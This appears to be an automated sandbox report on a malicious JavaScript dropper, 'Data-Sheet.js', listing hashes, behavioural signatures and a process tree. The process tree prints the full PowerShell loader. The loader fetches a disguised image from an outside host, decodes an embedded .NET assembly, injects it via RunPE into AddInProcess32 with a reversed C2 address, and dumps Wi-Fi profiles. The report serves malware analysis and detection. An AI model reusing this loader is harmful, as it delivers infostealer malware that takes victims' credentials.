Analysis

  • max time kernel
    125s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-06-2024 09:35

General

  • Target

    Data-Sheet.js

  • Size

    32KB

  • MD5

    f83ca689e03194dae68a7c1c6dfcfaf4

  • SHA1

    6dff0eb5bcbdde1450eee59363abfeb32996f0e9

  • SHA256

    8ab47db42a777fa45a2eded252d0d3001a67efcff1cb9cc34b4d92d17800a020

  • SHA512

    0f0aad4873fa57a8770a70e3aceeb354fa68a599139cd36a9aa41d778f71e2ec2053cb71065923b6266b4d4fdd6c00f0cd2b1217ba541b4078627f77899ab019

  • SSDEEP

    384:/4bHOGs/AkVLg/U+/X/69tP5gHxSqU8HheWps/CsSI:/4b5s/AkVU/T/X/69tPuRSqFBeWpVsSI

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Data-Sheet.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc5OC8wMTUvb3JpZ2luYWwvbmV3X2ltYWdlLmpwZz8xNzE4Mjg0MjE2JywgJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc5OC8wMTUvb3JpZ2luYWwvbmV3X2ltYWdlLmpwZz8xNzE4Mjg0MjE2Jyk7ICRpbWFnZUJ5dGVzID0gRG93bmxvYWREYXRhRnJvbUxpbmtzICRsaW5rczsgaWYgKCRpbWFnZUJ5dGVzIC1uZSAkbnVsbCkgeyAkaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGltYWdlQnl0ZXMpOyAkc3RhcnRGbGFnID0gJzw8QkFTRTY0X1NUQVJUPj4nOyAkZW5kRmxhZyA9ICc8PEJBU0U2NF9FTkQ+Pic7ICRzdGFydEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRzdGFydEZsYWcpOyAkZW5kSW5kZXggPSAkaW1hZ2VUZXh0LkluZGV4T2YoJGVuZEZsYWcpOyBpZiAoJHN0YXJ0SW5kZXggLWdlIDAgLWFuZCAkZW5kSW5kZXggLWd0ICRzdGFydEluZGV4KSB7ICRzdGFydEluZGV4ICs9ICRzdGFydEZsYWcuTGVuZ3RoOyAkYmFzZTY0TGVuZ3RoID0gJGVuZEluZGV4IC0gJHN0YXJ0SW5kZXg7ICRiYXNlNjRDb21tYW5kID0gJGltYWdlVGV4dC5TdWJzdHJpbmcoJHN0YXJ0SW5kZXgsICRiYXNlNjRMZW5ndGgpOyAkY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYmFzZTY0Q29tbWFuZCk7ICRsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGNvbW1hbmRCeXRlcyk7ICR0eXBlID0gJGxvYWRlZEFzc2VtYmx5LkdldFR5cGUoJ1J1blBFLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LmN0LzE5LjMwMS44Ny43NDEvLzpwdHRoJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJywnQWRkSW5Qcm9jZXNzMzInLCdkZXNhdGl2YWRvJykpfX0=';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/798/015/original/new_image.jpg?1718284216', 'https://uploaddeimagens.com.br/images/004/798/015/original/new_image.jpg?1718284216'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ct/19.301.87.741//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4048
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:4764
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4224
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              6⤵
                PID:4344
              • C:\Windows\SysWOW64\netsh.exe
                netsh wlan show profile
                6⤵
                  PID:3428
                • C:\Windows\SysWOW64\findstr.exe
                  findstr All
                  6⤵
                    PID:5012
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4184,i,11751898164297348119,13021661521765644467,262144 --variations-seed-version --mojo-platform-channel-handle=4136 /prefetch:8
          1⤵
            PID:4704
          • C:\Windows\system32\msiexec.exe
            C:\Windows\system32\msiexec.exe /V
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4024

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            f41839a3fe2888c8b3050197bc9a0a05

            SHA1

            0798941aaf7a53a11ea9ed589752890aee069729

            SHA256

            224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

            SHA512

            2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            0f6a3762a04bbb03336fb66a040afb97

            SHA1

            0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

            SHA256

            36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

            SHA512

            cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_flstkfxs.ava.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/2636-21-0x00007FFB0D6B0000-0x00007FFB0E171000-memory.dmp

            Filesize

            10.8MB

          • memory/2636-12-0x0000018E7F880000-0x0000018E7F8A2000-memory.dmp

            Filesize

            136KB

          • memory/2636-39-0x00007FFB0D6B0000-0x00007FFB0E171000-memory.dmp

            Filesize

            10.8MB

          • memory/2636-9-0x00007FFB0D6B3000-0x00007FFB0D6B5000-memory.dmp

            Filesize

            8KB

          • memory/2636-20-0x00007FFB0D6B0000-0x00007FFB0E171000-memory.dmp

            Filesize

            10.8MB

          • memory/4048-31-0x0000026BFBC80000-0x0000026BFBE6E000-memory.dmp

            Filesize

            1.9MB

          • memory/4764-35-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/4764-32-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/4764-40-0x0000000005510000-0x00000000055F6000-memory.dmp

            Filesize

            920KB

          • memory/4764-41-0x0000000005770000-0x00000000057D6000-memory.dmp

            Filesize

            408KB

          • memory/4764-42-0x0000000005D60000-0x0000000005D72000-memory.dmp

            Filesize

            72KB

          • memory/4764-43-0x0000000006370000-0x0000000006532000-memory.dmp

            Filesize

            1.8MB

          • memory/4764-64-0x0000000006D40000-0x00000000072E4000-memory.dmp

            Filesize

            5.6MB

          • memory/4764-68-0x00000000067B0000-0x0000000006842000-memory.dmp

            Filesize

            584KB

          • memory/4764-75-0x0000000006850000-0x00000000068C6000-memory.dmp

            Filesize

            472KB

          • memory/4764-94-0x0000000007820000-0x0000000007D4C000-memory.dmp

            Filesize

            5.2MB